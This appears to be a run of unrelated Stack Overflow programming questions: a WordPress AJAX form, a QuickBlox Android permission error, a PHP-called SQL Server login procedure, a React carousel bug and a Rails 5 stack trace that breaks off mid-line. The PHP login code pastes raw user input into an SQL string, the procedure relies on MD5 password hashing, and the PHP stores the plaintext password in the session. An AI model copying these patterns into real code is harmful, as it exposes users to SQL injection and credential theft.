Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='rb_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2020'&gt;Results:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='LM_resutlt' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;h4&gt;Step 4 &amp;#8211; Patrick Values Model&lt;/h4&gt; &lt;div&gt; &lt;div class='plr_form'&gt; &lt;p&gt;For an explanation of respective criteria matrices, please click on category name.&lt;/p&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1847'&gt;Teamwork Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='teamwork_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1851'&gt;Excellence Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='excellence_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1845'&gt;Respect Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='respect_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1843'&gt;Trust Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='trust_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-1849'&gt;Balance Rating:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt;&lt;select class='plr_ratingdropdown' id='balance_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt;&lt;/div&gt; &lt;div class='field'&gt; &lt;label for=''&gt;&lt;a href='#' class='popmake-2027'&gt;Results:&lt;/a&gt;&lt;/label&gt;&lt;br /&gt; &lt;textarea id='PVM_result' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;h4&gt;Step 5 &amp;#8211; Functional Role Model&lt;/h4&gt; &lt;div&gt; &lt;div class='plr_form'&gt;Rating: &lt;br /&gt;&lt;select class='plr_ratingdropdown' id='FRP_rating' required&gt;&lt;option selected='selected' value=''&gt;&amp;#8212;&amp;#8212;&lt;/option&gt;&lt;option value='0.0'&gt;0.0&lt;/option&gt;&lt;option value='0.5'&gt;0.5&lt;/option&gt;&lt;option value='1.0'&gt;1.0&lt;/option&gt;&lt;option value='1.5'&gt;1.5&lt;/option&gt;&lt;option value='2.0'&gt;2.0&lt;/option&gt;&lt;option value='2.5'&gt;2.5&lt;/option&gt;&lt;option value='3.0'&gt;3.0&lt;/option&gt;&lt;option value='3.5'&gt;3.5&lt;/option&gt;&lt;option value='4.0'&gt;4.0&lt;/option&gt;&lt;option value='4.5'&gt;4.5&lt;/option&gt;&lt;option value='5.0'&gt;5.0&lt;/option&gt;&lt;/select&gt; &lt;div class='field'&gt; &lt;label for=''&gt;Results:&lt;/label&gt;&lt;br /&gt; &lt;textarea id='FRP_result' required&gt;&lt;/textarea&gt; &lt;/div&gt; &lt;/p&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/form&gt; &lt;p&gt;&lt;input type='button' id='sendPLR' value='Submit' onclick='postPLRData();'&gt;&lt;/p&gt; &lt;div id="plr_message"&gt;&lt;/div&gt; </code></pre> <p>id="plr_message" is where the message shows up. Below is my jquery code</p> <pre><code>function postPLRData() { $j('#sendPLR').click(function(e) { e.preventDefault(); $j.ajax({ url: ajaxurl, type: 'POST', dataType: 'HTML', data: { action: 'submitPLR', PLRData: frmData }, success: function(backData) { if (backData !== '') { $j('#plr_message').append('Form has been submitted successfully'); } else { $j('#plr_message').append('Ops!!!, form could not be submitted'); } } }); }); } </code></pre> <p>This is my php code</p> <pre><code>function insertPLR() { $return = array(); $jsondecode = $_POST['PLRData']; $queryUser = ($jsondecode['user'] === '') ? $jsoncode['user'] : wp_get_current_user()-&gt;user_login; echo json_encode($queryUser); die(); } add_action('wp_ajax_submitPLR', 'insertPLR'); </code></pre> <p>Thanks</p>
3
18,259
java.lang.SecurityException: Permission Denial: opening provider com.quickblox.q_municate_core.db.DatabaseProvider
<p>I am developing an app using q-municate as base. As given in readme document I copied credentials (App ID, Authorization key, Authorization secret) into my Q-municate project code in Consts.java</p> <p>I refracted the package name from <code>com.quickblox.qmunicate</code> to <code>com.quickblox.TestingApp</code> I also changed the package name in AndroidManifest file except <code>&lt;uses-permission android:name="com.quickblox.qmunicate.permission.C2D_MESSAGE" /&gt;</code> , <code>&lt;category android:name="com.quickblox.qmunicate" /&gt;</code> </p> <pre><code>&lt;uses-permission android:name="com.quickblox.qmunicate.permission.C2D_MESSAGE" /&gt; &lt;receiver android:name="com.quickblox.TestingApp.GcmBroadcastReceiver" android:permission="com.google.android.c2dm.permission.SEND" &gt; &lt;intent-filter&gt; &lt;action android:name="com.google.android.c2dm.intent.RECEIVE" /&gt; &lt;action android:name="com.google.android.c2dm.intent.REGISTRATION" /&gt; &lt;category android:name="com.quickblox.qmunicate" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; </code></pre> <p>and <code>android:authorities="com.qmun.quickblox"</code></p> <pre><code>&lt;provider android:name="com.quickblox.q_municate_core.db.DatabaseProvider" android:authorities="com.qmun.quickblox" android:exported="false" /&gt; &lt;meta-data android:name="com.crashlytics.ApiKey" android:value="7aea78439bec41a9005c7488bb6751c5e33fe270"/&gt; </code></pre> <p>After making these changes I can install both Quickblox app and my modified app.</p> <p>But modified app becomes unresponsive. Log messages</p> <pre><code>02-12 15:09:37.329 14889-14889/? E/LoginActivity﹕ loginOnClickListener(View view) 02-12 15:09:37.329 14889-14889/? E/LoginActivity﹕ userEmail = tester@gmail.com 02-12 15:09:37.329 14889-14889/? E/LoginActivity﹕ userPassword = apptester 02-12 15:09:37.329 14889-14889/? E/LoginActivity﹕ (validationUtils.isValidUserDate(userEmail, userPassword)) 02-12 15:09:37.349 14889-14889/? E/LoginActivity﹕ login(String userEmail, String userPassword) 02-12 15:09:37.349 14889-14889/? E/BaseActivity﹕ showProgress() 02-12 15:09:37.349 14889-14889/? E/BaseActivity﹕ (!progress.isAdded()) 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ BaseBroadcastReceiver : onReceive(Context context, final Intent intent) 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ executinglogin_success_action 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ (intent != null &amp;&amp; (action) != null) 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ (commandSet != null &amp;&amp; !commandSet.isEmpty()) 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ getHandler() 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ (handler == null) 02-12 15:09:43.279 14889-14889/? E/ActivityHelper﹕ for (Command command : commandSet) 02-12 15:09:43.279 14889-14889/? E/LoginActivity﹕ LoginSuccessAction execute(Bundle bundle) 02-12 15:09:43.279 14889-14889/? E/LoginActivity﹕ (rememberMeCheckBox.isChecked()) 02-12 15:09:43.279 14889-14889/? E/BaseAuthActivity﹕ startMainActivity(Context context, QBUser user, boolean saveRememberMe) 02-12 16:06:25.159 20226-20226/? E/BaseAuthActivity﹕ startMainActivity(Context context, QBUser user, boolean saveRememberMe) 02-12 16:06:25.169 20226-20226/? W/System.err﹕ java.lang.SecurityException: Permission Denial: opening provider com.quickblox.q_municate_core.db.DatabaseProvider from ProcessRecord{4324dc18 20226:com.quickblox.TestingApp/u0a195} (pid=20226, uid=10195) that is not exported from uid 10190 02-12 16:06:25.169 20226-20226/? W/System.err﹕ at android.os.Parcel.readException(Parcel.java:1489) 02-12 16:06:25.169 20226-20226/? W/System.err﹕ at android.os.Parcel.readException(Parcel.java:1443) 02-12 16:06:25.169 20226-20226/? W/System.err﹕ at android.app.ActivityManagerProxy.getContentProvider(ActivityManagerNative.java:2865) 02-12 16:06:25.169 20226-20226/? W/System.err﹕ at android.app.ActivityThread.acquireProvider(ActivityThread.java:4450) 02-12 16:06:25.169 1045-1336/? W/ActivityManager﹕ Permission Denial: opening provider com.quickblox.q_municate_core.db.DatabaseProvider from ProcessRecord{4324dc18 20226:com.quickblox.TestingApp/u0a195} (pid=20226, uid=10195) that is not exported from uid 10190 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.app.ContextImpl$ApplicationContentResolver.acquireProvider(ContextImpl.java:2229) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.content.ContentResolver.acquireProvider(ContentResolver.java:1378) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.content.ContentResolver.delete(ContentResolver.java:1276) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.quickblox.q_municate_core.db.managers.UsersDatabaseManager.deleteAllUsers(UsersDatabaseManager.java:438) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.quickblox.q_municate_core.db.managers.ChatDatabaseManager.clearAllCache(ChatDatabaseManager.java:537) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.quickblox.TestingApp.ui.authorization.base.BaseAuthActivity.startMainActivity(BaseAuthActivity.java:136) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.quickblox.TestingApp.ui.authorization.login.LoginActivity.access$400(LoginActivity.java:24) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.quickblox.TestingApp.ui.authorization.login.LoginActivity$LoginSuccessAction.execute(LoginActivity.java:135) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.quickblox.TestingApp.ui.base.ActivityHelper$BaseBroadcastReceiver$1.run(ActivityHelper.java:247) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.os.Handler.handleCallback(Handler.java:733) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.os.Handler.dispatchMessage(Handler.java:95) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.os.Looper.loop(Looper.java:136) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at android.app.ActivityThread.main(ActivityThread.java:5052) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at java.lang.reflect.Method.invokeNative(Native Method) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at java.lang.reflect.Method.invoke(Method.java:515) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:609) 02-12 16:06:25.179 20226-20226/? W/System.err﹕ at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>On minimizing app</p> <pre><code>02-12 15:36:05.649 14889-14889/? E/BaseActivity﹕ onPause() 02-12 15:36:05.649 14889-14889/? E/ActivityHelper﹕ onPause() 02-12 15:36:05.659 14889-14889/? E/ActivityHelper﹕ unregisterBroadcastReceiver() 02-12 15:36:05.889 378-378/? E/QCALOG﹕ [MessageQ] ProcessNewMessage: [XT-CS] unknown deliver target [OS-Agent] 02-12 15:36:05.979 14889-14889/? E/BaseAuthActivity﹕ onSaveInstanceState(Bundle outState) 02-12 15:36:05.989 14889-14889/? E/BaseActivity﹕ onStop() 02-12 15:36:05.989 14889-14889/? E/ActivityHelper﹕ onStop() 02-12 15:36:05.989 14889-14889/? E/ActivityHelper﹕ unbindService() 02-12 15:36:05.989 14889-14889/? E/ActivityHelper﹕ (bounded) 02-12 15:36:05.989 14889-14889/? E/BaseAuthActivity﹕ onStop() </code></pre> <p>Again opening</p> <pre><code>02-12 15:34:09.749 14889-14889/? E/BaseActivity﹕ onStart() 02-12 15:34:09.749 14889-14889/? E/ActivityHelper﹕ onStart() 02-12 15:34:09.749 14889-14889/? E/ActivityHelper﹕ connectToService() 02-12 15:34:09.749 14889-14889/? E/BaseActivity﹕ start 02-12 15:34:09.749 14889-14889/? E/BaseAuthActivity﹕ onStart() 02-12 15:34:09.749 14889-14889/? E/BaseActivity﹕ onResume() 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ onResume() 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ registerGlobalReceiver() 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ updateBroadcastActionList() 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ for (String commandName : broadcastCommandMap.keySet()) 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ for (String commandName : broadcastCommandMap.keySet()) 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ for (String commandName : broadcastCommandMap.keySet()) 02-12 15:34:09.759 14889-14889/? E/BaseActivity﹕ addAction(String action, Command command) 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ addAction(String action, Command command) 02-12 15:34:09.759 14889-14889/? E/ActivityHelper﹕ onServiceConnected(ComponentName name, IBinder binder) 02-12 15:34:09.759 14889-14889/? E/BaseActivity﹕ onConnectedToService(QBService service) </code></pre> <p>This screen shot <a href="https://i.stack.imgur.com/E3CN5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/E3CN5.png" alt="enter image description here"></a></p> <p>I have to close application and reopen to go to Login page. And problem continues.</p> <p>What is going wrong? Any one who developed app using qmunicate and published on google play store please tell what is wrong and what else need to be changed.</p> <p>Can any one tell before starting modification of qmunicate app, apart from App ID, Authorization key, Authorization secret what else need to be changed?</p>
3
3,753
php and sql server stored procedure executing
<p>I have a stored procedure that do a login proccess and in different conditions return different value in same structure.</p> <p>this is my code:</p> <pre><code>create PROCEDURE [dbo].[I_SPCheckUserLogin] @username nvarchar(50), @password varchar(max) AS Begin declare @incorrect_pass_msg nvarchar(MAX) = N'کاربر گرامی کلمه عبور نادرست است'; declare @login_success_pass_msg nvarchar(MAX) = N'کاربر گرامی عملیات ورود با موفقیت انجام شد'; declare @user_not_exists_msg nvarchar(MAX) = N'چنین کاربری یافت نشد'; declare @lock_user_msg nvarchar(MAX) = N'کاربر گرامی به دلایل امنیتی شما قادر به ورود نمی باشید'; declare @change_pass_msg nvarchar(MAX) = N'به دلایل امنیتی باید کلمه عبور تغییر یابد'; declare @error_number int = 0; declare @msg nvarchar(100); declare @version nvarchar(50); declare @rule_lock_login_time int; declare @rule_attempt_login int; declare @rule_expire_days int; select @version = ValueI from I_Rules where RuleName = 'Version'; select @rule_lock_login_time = ValueI from I_Rules where RuleName = 'LockLoginTime'; select @rule_attempt_login = ValueI from I_Rules where RuleName = 'AttemptToLogin'; select @rule_expire_days = ValueI from I_Rules where RuleName = 'PasswordExpireDays'; declare @md5_number int; select top 1 @md5_number = Value from SplitString(@version,'.') order by Id desc; declare @m_password nvarchar(MAX); set @m_password = (select dbo.Md5Generator(@password , @md5_number)); declare @uid int , @uname nvarchar(max), @upass nvarchar(max), @ulast_login_date nvarchar(10), @ulast_login_time nvarchar(10), @ulock_login_time nvarchar(10), @umust_change_pass bit, @upass_never_expire bit, @uattempt_login int, @ulast_change_pass_date nvarchar(10); select @uid = Id, @uname = Username, @upass = [Password], @ulast_login_date = LastLoginDate, @ulast_login_time = LastLoginTime, @ulock_login_time = LockLoginTime, @umust_change_pass = UserMustChangePassword, @upass_never_expire = PasswordNeverExpire, @uattempt_login = AttemptToLogin, @ulast_change_pass_date = LastChangePasswordDate from I_Users where Username = @username and IsActive='true'; declare @server_time nvarchar(10), @server_date nvarchar(10); select @server_date = [Date], @server_time = [Time] from dbo.GetShamsiDateTime(); if(@uname is null) begin set @error_number = 1; set @msg = @user_not_exists_msg; select @error_number error , @msg [message]; return; end else begin if(@ulock_login_time is not null) begin if( @server_time &lt;= (select dbo.AddMinuteToTime(@ulock_login_time, @rule_lock_login_time))) begin set @error_number = 1; set @msg = @lock_user_msg; select @error_number error , @msg [message]; update I_Users Set LockLoginTime=@server_time Where Id=@uid; return; end else begin update I_Users set LastLoginDate = @server_date, LastLoginTime = @server_time, LockLoginTime = null, AttemptToLogin = 0 where Id = @uid; if(@@ERROR !=0) begin select 3 error , 'update faild' [message]; return; end end end if(@upass != @m_password) begin declare @tmp table(uattemp_login nvarchar(max)); update I_Users set AttemptToLogin = AttemptToLogin + 1 output inserted.AttemptToLogin into @tmp where Id = @uid; if(@@ERROR !=0) begin select 3 error , 'update faild' [message]; return; end set @uattempt_login = (select uattemp_login from @tmp); if @uattempt_login = @rule_attempt_login begin update I_Users set LockLoginTime = @server_time where Id=@uid if(@@ERROR !=0) begin select 3 error , 'update faild' [message]; return; end end set @error_number = 1; set @msg = @incorrect_pass_msg; select @error_number error , @msg [message]; return; end else begin if @umust_change_pass = 'true' begin set @error_number = 2; set @msg = @change_pass_msg; select @error_number error , @msg [message]; return; end else begin if @upass_never_expire = 'false' begin if @server_date&gt; (select [date] from AddDaysToDate_Custom((select dbo.ShamsitoMiladi(@ulast_change_pass_date)),@rule_expire_days)) begin set @error_number = 2; set @msg = @change_pass_msg; select @error_number error , @msg [message]; return; end end update I_Users set LastLoginDate = @server_date, LastLoginTime = @server_time, LockLoginTime = null, AttemptToLogin = 0 where Id = @uid; if(@@ERROR !=0) begin select 3 error , 'update faild' [message]; return; end set @error_number = 0; set @msg = @login_success_pass_msg; select @error_number error , @msg [message]; return; end end end end </code></pre> <p>the problem is that when execute this stored procedure like this :</p> <pre><code>$username = trim($username); $password = trim($password); $dbconn = new db_connection(); $select_statement = "execute I_SPCheckUserLogin '{$username}','{$password}'"; echo $select_statement; $result = $dbconn-&gt;do_sql_command($select_statement); $count = 0; $row = $dbconn-&gt;fetch_array($result); if ($row['error'] == '0') { echo '&lt;br/&gt;'; $this-&gt;load-&gt;library('session'); $ci =&amp; get_instance(); $data = array(); $data['username'] = $username; $data['password'] = $password; $data['system_id'] = $system_id; $ci-&gt;session-&gt;set_userdata('user_info', $data); redirect('control_panel/index'); } else echo $row['message']; </code></pre> <p>the problem after a lot of test is that when executing the update statements in this stored procedure the rest of the stored procedure not executing from php but in the sql server management studio execute like charm</p> <p>sorry about my english</p>
3
4,196
TypeError: cannot read property of length undefined? - React Carousel
<p>Following this tutorial <a href="https://www.youtube.com/watch?v=l1MYfu5YWHc&amp;list=PLVwSdwIkTF50m5Fnd-_vSIrT8mvtfeZxe&amp;index=8" rel="nofollow noreferrer">here</a> exactly because I want to use this carousel on my website.</p> <p>However I get the error &quot;TypeError: cannot read property of undefined&quot;, even though the code is exactly same as tutorial and the tutorial instructor never encounters this error.</p> <ol> <li>How do I solve this?</li> <li>Why do I get this error and the tutorial instructor did not? finding it hard to understand how this happens - the video is only from December 2020</li> </ol> <p>Thanks in advance.</p> <p>Code below:</p> <pre><code>import React, {useState} from 'react'; import styled from 'styled-components' import { CarouselData } from '../Data/CarouselData'; import {FaArrowAltCircleRight, FaArrowAltCircleLeft} from 'react-icons/fa'; export const Carousel = ({slides}) =&gt; { const [current, setCurrent] = useState(0); const length = slides.length; const nextSlide = () =&gt; { setCurrent(current === length -1 ? 0 : current + 1) } const prevSlide = () =&gt; { setCurrent(current === length -1 ? 0 : current + 1); } console.log(current); if (!Array.isArray(slides) || slides.length &lt;= 0){ return null; } return ( &lt;div&gt; &lt;Section&gt; &lt;LeftArrow &gt; &lt;FaArrowAltCircleLeft onClick={prevSlide}/&gt; &lt;/LeftArrow&gt; {CarouselData.map((slide, index) =&gt; { return( &lt;img style={{width: &quot;400px&quot;, height: &quot;600px&quot;, borderRadius: &quot;10px&quot;}} src={slide.image} alt=&quot;image&quot; /&gt; ) })} &lt;RightArrow &gt; &lt;FaArrowAltCircleRight onClick={nextSlide}/&gt; &lt;/RightArrow&gt; &lt;/Section&gt; &lt;/div&gt; ) } const Section = styled.div` position: relative; height: 100%; display: flex; justify-content: center; align-items: center; ` const LeftArrow = styled.div` position: absolute; top: 50%; left: 32px; font-size: 3rem; color: white; z-index: 10; cursor: pointer; user-select: none; ` const RightArrow = styled.div` position: absolute; top: 50%; right: 32px; font-size: 3rem; color: white; z-index: 10; cursor: pointer; user-select: none; ` const Image = styled.div` display: inline-block; width: 100px; height: 400px; border-radius: 10px; ` </code></pre> <p>P.S. - if a codesandbox is needed I will make one however this is a small codefile and small issue so did not think was needed</p>
3
1,273
No light as to how to trace this error on a migration to Rails 5
<p>I've been migrating a legacy app into newer versions of rails. The issue I have now is that I come up with this error when I try to bring the console up:</p> <pre><code>$ rails c /home/user/.rvm/gems/ruby-2.3.3/gems/actionpack-5.2.5/lib/action_dispatch/middleware/stack.rb:108:in `assert_index': No such middleware to insert after: &quot;ActionDispatch::DebugExceptions&quot; (RuntimeError) from /home/user/.rvm/gems/ruby-2.3.3/gems/actionpack-5.2.5/lib/action_dispatch/middleware/stack.rb:82:in `insert_after' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/configuration.rb:71:in `block in merge_into' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/configuration.rb:70:in `each' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/configuration.rb:70:in `merge_into' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/engine.rb:509:in `block in app' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/engine.rb:506:in `synchronize' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/engine.rb:506:in `app' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/application/finisher.rb:47:in `block in &lt;module:Finisher&gt;' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/initializable.rb:32:in `instance_exec' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/initializable.rb:32:in `run' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/initializable.rb:61:in `block in run_initializers' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:228:in `block in tsort_each' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:350:in `block (2 levels) in each_strongly_connected_component' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:431:in `each_strongly_connected_component_from' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:349:in `block in each_strongly_connected_component' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:347:in `each' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:347:in `call' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:347:in `each_strongly_connected_component' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:226:in `tsort_each' from /usr/share/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/tsort.rb:205:in `tsort_each' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/initializable.rb:60:in `run_initializers' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/application.rb:361:in `initialize!' from /home/user/Projects/firelight/firelight/config/environment.rb:5:in `&lt;main&gt;' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:23:in `require' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:23:in `block in require_with_bootsnap_lfi' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/loaded_features_index.rb:92:in `register' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:22:in `require_with_bootsnap_lfi' from /home/user/.rvm/gems/ruby-2.3.3/gems/bootsnap-1.7.3/lib/bootsnap/load_path_cache/core_ext/kernel_require.rb:31:in `require' from /home/user/.rvm/gems/ruby-2.3.3/gems/activesupport-5.2.5/lib/active_support/dependencies.rb:291:in `block in require' from /home/user/.rvm/gems/ruby-2.3.3/gems/activesupport-5.2.5/lib/active_support/dependencies.rb:257:in `load_dependency' from /home/user/.rvm/gems/ruby-2.3.3/gems/activesupport-5.2.5/lib/active_support/dependencies.rb:291:in `require' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/application.rb:337:in `require_environment!' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/command/actions.rb:28:in `require_environment!' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/command/actions.rb:15:in `require_application_and_environment!' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/commands/console/console_command.rb:95:in `perform' from /home/user/.rvm/gems/ruby-2.3.3/gems/thor-1.1.0/lib/thor/command.rb:27:in `run' from /home/user/.rvm/gems/ruby-2.3.3/gems/thor-1.1.0/lib/thor/invocation.rb:127:in `invoke_command' from /home/user/.rvm/gems/ruby-2.3.3/gems/thor-1.1.0/lib/thor.rb:392:in `dispatch' from /home/user/.rvm/gems/ruby-2.3.3/gems/railties-5.2.5/lib/rails/command/base.rb:69:in `perform' from 